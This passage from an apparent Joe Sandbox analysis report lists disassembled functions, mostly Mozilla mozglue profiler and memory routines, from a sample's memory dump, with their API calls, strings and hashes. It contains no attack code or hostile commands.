Instruction Fuzzy Hash: F24117719097499FC341DF28C080A8BBBE5BF89358F408A2EF49987694EB30D549CF93

Function 6C359420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
__Init_thread_footer.LIBCMT ref: 6C35949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C35947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C35946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C359459

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f21ae282422cb303c3de158cb4fa1175b327758f26c168c8b613908c88366e21
Instruction ID: 69ab5ff822c523ad5ad85cece3292d6275475b0e323c129fd0c94d01f954376b
Opcode Fuzzy Hash: f21ae282422cb303c3de158cb4fa1175b327758f26c168c8b613908c88366e21
Instruction Fuzzy Hash: 970175B0A0020287DB00DF5CE815AC633BEAB0932DF144536ED0686B51F637D8768E57

Function 6C360F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C360F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C360F88
GetCurrentThreadId.KERNEL32 ref: 6C360FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C361067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C3610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C36114B

Part of subcall function 6C358AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C371563), ref: 6C358BD5

free.MOZGLUE(?), ref: 6C361174
free.MOZGLUE(?), ref: 6C361186

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 318d17f680d249172c13b91ab0bc0a9b11fb7e1b5ced5eea893177fa1050bb82
Instruction ID: da65802ad79560f82c8a80a616b542c303fb5d4f77c1fa50f574a6bb5ecfa2f7
Opcode Fuzzy Hash: 318d17f680d249172c13b91ab0bc0a9b11fb7e1b5ced5eea893177fa1050bb82
Instruction Fuzzy Hash: A161B375A043409BDB10CF26D980B9AB7F9BFC5308F04891DE99947B15EB32E549CF92

Function 6C31B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6AC

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C31B61E), ref: 6C31B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B79A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e4bd762193299997f013e96d2f09836397728edf308385417da3d48f1a6ba43b
Instruction ID: a042d4049709aa948965fbf8e3c3873ce6e058a6b5313ca954c8514283f0e5e8
Opcode Fuzzy Hash: e4bd762193299997f013e96d2f09836397728edf308385417da3d48f1a6ba43b
Instruction Fuzzy Hash: 2541C3F2D041158FCB04DF68DC805AEB7B9BF54328F250629E825EBB80E731E9048BE1

Function 6C31EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C395104), ref: 6C31EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C31EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C31EFEC
free.MOZGLUE(?), ref: 6C31F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C31F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C31F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F065
moz_xmalloc.MOZGLUE ref: 6C31F072

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2b4d41914557d5ab5715dd26eb822aefc8f6f73a6e61af3697f8281cb78f0aa5
Instruction ID: f5d434339fbd4e71da6077ea18142b7b857f2219ee03b51f3c6bf37af289dc58
Opcode Fuzzy Hash: 2b4d41914557d5ab5715dd26eb822aefc8f6f73a6e61af3697f8281cb78f0aa5
Instruction Fuzzy Hash: 6E41E9B1A042159FCB08CF68D8819EE7769BF98314B24022CE915DBB94EB71E915CBE1

Function 6C38B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C38B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C38B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C38B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C38B5F4
__Init_thread_footer.LIBCMT ref: 6C38B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C38B61F
std::_Facet_Register.LIBCPMT ref: 6C38B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C38B655

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: ebfe643b7ee91b4b6e0e814396589069e02381be71abb5eb0d058e8f1168190a
Instruction ID: 86b7fa5f4454a5288ac498650b8351fc3ab33431175f667094d3b799803a9a18
Opcode Fuzzy Hash: ebfe643b7ee91b4b6e0e814396589069e02381be71abb5eb0d058e8f1168190a
Instruction Fuzzy Hash: 5D31A771B00205CBCF10DF69C8949AEB7B9FF89329B140519E9469B790EB72A906CFD1

Function 6C356590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C356727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C3567C8

Part of subcall function 6C364290: memcpy.VCRUNTIME140(?,?,6C372003,6C370AD9,?,6C370AD9,00000000,?,6C370AD9,?,00000004,?,6C371A62,?,6C372003,?), ref: 6C3642C4

Strings

data, xrefs: 6C356593
v9l, xrefs: 6C35696C

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v9l
API String ID: 511789754-402983418
Opcode ID: d16da3927c395348d073d16432a6be1aa171da713fc2b7c435d7eccdd4993453
Instruction ID: ccb76e3161fc9bfa427d9f83221aa7a41766473d359d8c98fc208c19d27e1789
Opcode Fuzzy Hash: d16da3927c395348d073d16432a6be1aa171da713fc2b7c435d7eccdd4993453
Instruction Fuzzy Hash: EED1BEB5A093408FD724DF25C850B9AB7F5AFC5308F50492EE58A87B91EB31A819CF53

Function 6C34D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C31EB57,?,?,?,?,?,?,?,?,?), ref: 6C34D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C31EB57,?), ref: 6C34D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C31EB57,?), ref: 6C34D673
free.MOZGLUE(?), ref: 6C34D888

Strings

|Enabled, xrefs: 6C34D81E
W1l, xrefs: 6C34D5D9, 6C34D63F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W1l$|Enabled
API String ID: 4142949111-4121297857
Opcode ID: 4c467a761a218f0b8506e3092f306a32efbeaf3aa16bd70dc60f280c2a734f91
Instruction ID: d4c815c85e8f94029557091c3d1501a7a97fe01f20a379f74556d9609c5ace44
Opcode Fuzzy Hash: 4c467a761a218f0b8506e3092f306a32efbeaf3aa16bd70dc60f280c2a734f91
Instruction Fuzzy Hash: 11A104B0A043448FDB01CF69C4907EEBBF5AF49318F18805CD889ABB41D736A945CFA1

Function 6C329830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C377ABE), ref: 6C32985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C377ABE), ref: 6C3298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C329909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C329918
free.MOZGLUE(?), ref: 6C329975

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2d23f330f52a8eb0e3eb7694ba28c60132dccbef060b2bbd1346f6a7db2f9012
Instruction ID: 9d047e53b9214b7bbe0f4890cacd5e37ea0a8cae44b480e730e70e065421d3e1
Opcode Fuzzy Hash: 2d23f330f52a8eb0e3eb7694ba28c60132dccbef060b2bbd1346f6a7db2f9012
Instruction Fuzzy Hash: A8718A746007058FCB25CF28C480956B7F5FF4A3287244AA9E89A8BB90D776F845CFA1

Function 6C32B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE), ref: 6C32B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B896

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 4a77edd5271d5c269f7004b871d2655e84c42cecf6a7fbc794d33bbe449c1c89
Instruction ID: fb0ecbcf684bdbfcd76919695108632b65251bdf27002f557dce7ac0e476e29f
Opcode Fuzzy Hash: 4a77edd5271d5c269f7004b871d2655e84c42cecf6a7fbc794d33bbe449c1c89
Instruction Fuzzy Hash: FA517B357006408FCB24CF59C584A6ABBF5FF8931CB69895DE99A8B752C736E801CF90

Function 6C361D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C361D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C361BE3,?,?,6C361D96,00000000), ref: 6C361D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C361BE3,?,?,6C361D96,00000000), ref: 6C361D4C
GetCurrentThreadId.KERNEL32 ref: 6C361DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C361DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C361DDA

Part of subcall function 6C361EF0: GetCurrentThreadId.KERNEL32 ref: 6C361F03
Part of subcall function 6C361EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C361DF2,00000000,00000000), ref: 6C361F0C
Part of subcall function 6C361EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C361F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C361DF4

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: d174c231fef4fd447560ccd0352e91b6ceada1ad93512331c6b9ead558aac561
Instruction ID: 3545477098e4a953214c78630ac3034df8044298e62deeba43d54f06559a5adf
Opcode Fuzzy Hash: d174c231fef4fd447560ccd0352e91b6ceada1ad93512331c6b9ead558aac561
Instruction Fuzzy Hash: A8417BB56007009FCB14DF29D488A56BBF9FF49718F10442EE99A87B41DB72F854CB91

Function 6C3584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3585AC

Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C35767F
Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C357693
Part of subcall function 6C357670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C3585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C3585B2

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 330cc3d38d729866a571a6c91dcd2430fb75612f095652d6c008593644307d47
Instruction ID: 6841f21bbe6a6d60d883179525415f76ab04eccbb3c7ae71f519ce6dff84468a
Opcode Fuzzy Hash: 330cc3d38d729866a571a6c91dcd2430fb75612f095652d6c008593644307d47
Instruction Fuzzy Hash: 49217F742006019FEB14DF25D888E9AB7B9AF4530DF54482DE59BC3B41EB32F968CB52

Function 6C321640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C321699
VerSetConditionMask.NTDLL ref: 6C3216CB
VerSetConditionMask.NTDLL ref: 6C3216D7
VerSetConditionMask.NTDLL ref: 6C3216DE
VerSetConditionMask.NTDLL ref: 6C3216E5
VerSetConditionMask.NTDLL ref: 6C3216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3216F9

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 50d6a8e110f97e460f20fe59007339b3f96471349f37480cf6de107b51876503
Instruction ID: 77b91fde18ffd0e196ced20a723f8305c5609610cf31db078fb50b5cc12e6e5c
Opcode Fuzzy Hash: 50d6a8e110f97e460f20fe59007339b3f96471349f37480cf6de107b51876503
Instruction Fuzzy Hash: 1521D2B07402086BEB106E688C85FBB737CEFC6718F044528F6459B6C0D679DD548BA2

Function 6C35F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C35F598), ref: 6C35F621

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F637
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F645
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C35F62A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 0593cab39140c23995efc947949a68ec0a86b6fb029bdee52957978157cb7e40
Instruction ID: fa8368c98cdf98025ac4e36b5465e5869476f647723fe12b797d86948f3dd362
Opcode Fuzzy Hash: 0593cab39140c23995efc947949a68ec0a86b6fb029bdee52957978157cb7e40
Instruction Fuzzy Hash: F711E376201204ABCB04AF19D948DA5777DFF8A35CB910415FA4687F41EB33AC25CFA1

Function 6C322070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,6C321C5F), ref: 6C3220AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C3220CD
